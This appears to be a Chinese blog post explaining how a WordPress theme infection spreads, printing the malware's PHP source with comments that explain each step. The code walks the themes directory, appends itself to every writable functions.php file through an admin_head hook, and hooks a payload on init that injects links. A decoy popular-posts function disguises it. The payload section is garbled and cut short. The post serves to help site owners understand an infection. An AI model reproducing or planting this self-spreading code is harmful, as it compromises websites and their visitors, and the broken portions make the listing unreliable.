wordpress中毒怎么办？functions.php感染wordpress恶意代码的原理

function _verifyactivate_widgets(){

    //当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php

        //查找当前主题functions.php文件中最后一个

    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),”<"."?"));

    $output=””;

    $allowed=””;

    //去除html和php标签，其实这一句是扯蛋。。。

    $output=strip_tags($output, $allowed);

    //取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes

        //为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。

        //以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径

    $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),”themes”) + 6)));

    if (is_array($direst)){

        foreach ($direst as $item){

            //如果主题functions.php文件可写

            if (is_writable($item)){

                //特征码

                $ftion=substr($widget,stripos($widget,”_”),stripos(substr($widget,stripos($widget,”_”)),”(“));

                //取目标functions.php文件内容

                $cont=file_get_contents($item);

                //没找到特征码?OK,试图感染

                if (stripos($cont,$ftion) === false){

                    //查看目标functions.php文件最后是否是以 ?> 结尾，如果不是，给加上 ?> 标记

                    $comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;

                    //这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。

                    $output .= $before . “Not found” . $after;

                    //如果文件是以 ?> 标记结尾的，连标记一起取过来

                    if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}

                    //开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码

                    $output=rtrim($output, “nt”); fputs($f=fopen($item,”w+”),$cont . $comaar . “n” .$widget);fclose($f);

                    //后面这句也是伪装用的

                    $output .= ($isshowdots && $ellipsis) ? “…” : “”;

                }

            }

        }

    }

    return $output;

}

function _get_allwidgets_cont($wids,$items=array()){

    //从$wids数组弹出一个元素(实际上是一个位置)

    $places=array_shift($wids);

    //如果位置字串是以/结尾的，则去掉/

    if(substr($places,-1) == “/”){

        $places=substr($places,0,-1);

    }

    //若不存在这样的文件或目录则直接返回false

    if(!file_exists($places) || !is_dir($places)){

        return false;

    }elseif(is_readable($places)){

        //否则的话。。。嘿嘿

        //遍历此目录

        $elems=scandir($places);

        foreach ($elems as $elem){

            if ($elem != “.” && $elem != “..”){

                //如果是目录,则加入$wids数组

                if (is_dir($places . “/” . $elem)){

                    $wids[]=$places . “/” . $elem;

                } elseif (is_file($places . “/” . $elem)&&

                    $elem == substr(__FILE__,-13)){

                        //否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的

                    $items[]=$places . “/” . $elem;}

                }

            }

    }else{

        return false;

    }

    //下面还有子目录？再找找看,递归

    if (sizeof($wids) > 0){

        return _get_allwidgets_cont($wids,$items);

    } else {

        //好了，完事了，以数组返回所有找到的functions.php文件的绝对路径

        return $items;

    }

}

//下面是3个针对低版本的php而写的兼容函数

if(!function_exists(“stripos”)){

    function stripos(  $str, $needle, $offset = 0  ){

        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );

    }

}

if(!function_exists(“strripos”)){

    function strripos(  $haystack, $needle, $offset = 0  ) {

        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );

        if(  $offset < 0  ){

            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );

        }

        else{

            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) – $offset ), 0  )   )    );

        }

        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;

        $pos = (   strlen(  $haystack  ) – (  $found + $offset + strlen( $needle )  )   );

        return $pos;

    }

}

if(!function_exists(“scandir”)){

    function scandir($dir,$listDirectories=false, $skipDots=true) {

        $dirArray = array();

        if ($handle = opendir($dir)) {

            while (false !== ($file = readdir($handle))) {

                if (($file != “.” && $file != “..”) || $skipDots == true) {

                    if($listDirectories == false) { if(is_dir($file)) { continue; } }

                    array_push($dirArray,basename($file));

                }

            }

            closedir($handle);

        }

        return $dirArray;

    }

}

//这个动作添加了，用于检测所有主题目录下functions.php并感染

add_action(“admin_head”, “_verifyactivate_widgets”);

function _getprepare_widget(){

    if(!isset($text_length)) $text_length=120;

    if(!isset($check)) $check=”cookie”;

    if(!isset($tagsallowed)) $tagsallowed=”“;

            $output .= ” <" . $tag . " class="more-link">ID) . “#more-” . $post->ID .”” title=”” . $more_text_link . “”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “” . “n”;

        } else {

            $output .= ” <" . $tag . " class="more-link">ID) . “” title=”” . $more_text_link . “”>” . $link_text_more . “” . “n”;

        }

    }

    return $output;

}

//这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动”

add_action(“init”, “_getprepare_widget”);

//这个函数也是用来伪装的,无恶意

function __popular_posts($no_posts=6, $before=”

“, $show_pass_post=false, $duration=””) {

    global $wpdb;

    $request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS “comment_count” FROM $wpdb->posts, $wpdb->comments”;

    $request .= ” WHERE comment_approved=”1″ AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=”publish””;

    if(!$show_pass_post) $request .= ” AND post_password =”””;

    if($duration !=””) {

        $request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date ";

    }

    $request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;

    $posts=$wpdb->get_results($request);

    $output=””;

    if ($posts) {

        foreach ($posts as $post) {

            $post_title=stripslashes($post->post_title);

            $comment_count=$post->comment_count;

            $permalink=get_permalink($post->ID);

            $output .= $before . ” ” . $post_title . “ ” . $after;

        }

    } else {

        $output .= $before . “None found” . $after;

    }

    return  $output;

}

?>